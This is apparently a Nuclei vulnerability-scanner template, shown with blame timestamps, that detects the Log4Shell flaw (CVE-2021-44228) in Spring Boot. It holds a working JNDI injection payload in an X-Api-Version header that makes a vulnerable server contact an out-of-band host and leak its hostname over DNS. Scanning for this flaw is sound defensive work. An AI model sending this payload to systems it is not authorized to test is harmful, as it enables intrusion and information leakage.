2022-03-27 20:16:50 +00:00
|
|
|
id: springboot-log4j-rce
|
|
|
|
|
|
|
|
info:
|
2022-06-03 19:12:31 +00:00
|
|
|
name: Spring Boot - Remote Code Execution (Apache Log4j)
|
2022-03-27 20:16:50 +00:00
|
|
|
author: pdteam
|
|
|
|
severity: critical
|
2022-06-03 19:12:31 +00:00
|
|
|
description: Spring Boot is susceptible to remote code execution via Apache Log4j.
|
2022-03-27 20:16:50 +00:00
|
|
|
reference:
|
|
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
|
|
- https://www.lunasec.io/docs/blog/log4j-zero-day/
|
|
|
|
- https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab
|
2022-07-16 17:07:13 +00:00
|
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
2022-03-27 20:16:50 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 10.0
|
2022-03-27 20:16:50 +00:00
|
|
|
cve-id: CVE-2021-44228
|
|
|
|
cwe-id: CWE-502
|
2022-04-22 10:38:41 +00:00
|
|
|
remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
|
2022-07-16 17:07:13 +00:00
|
|
|
tags: cve,cve2021,springboot,rce,oast,log4j
|
2022-03-27 20:16:50 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET / HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
X-Api-Version: ${jndi:ldap://${hostName}.{{interactsh-url}}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
|
|
words:
|
|
|
|
- "dns"
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
part: interactsh_request
|
|
|
|
regex:
|
|
|
|
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: kval
|
|
|
|
kval:
|
|
|
|
- interactsh_ip # Print remote interaction IP in output
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
part: interactsh_request
|
|
|
|
group: 1
|
|
|
|
regex:
|
2022-06-03 19:12:31 +00:00
|
|
|
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
|
|
|
|
|
|
|
|
# Enhanced by mp on 2022/05/31
|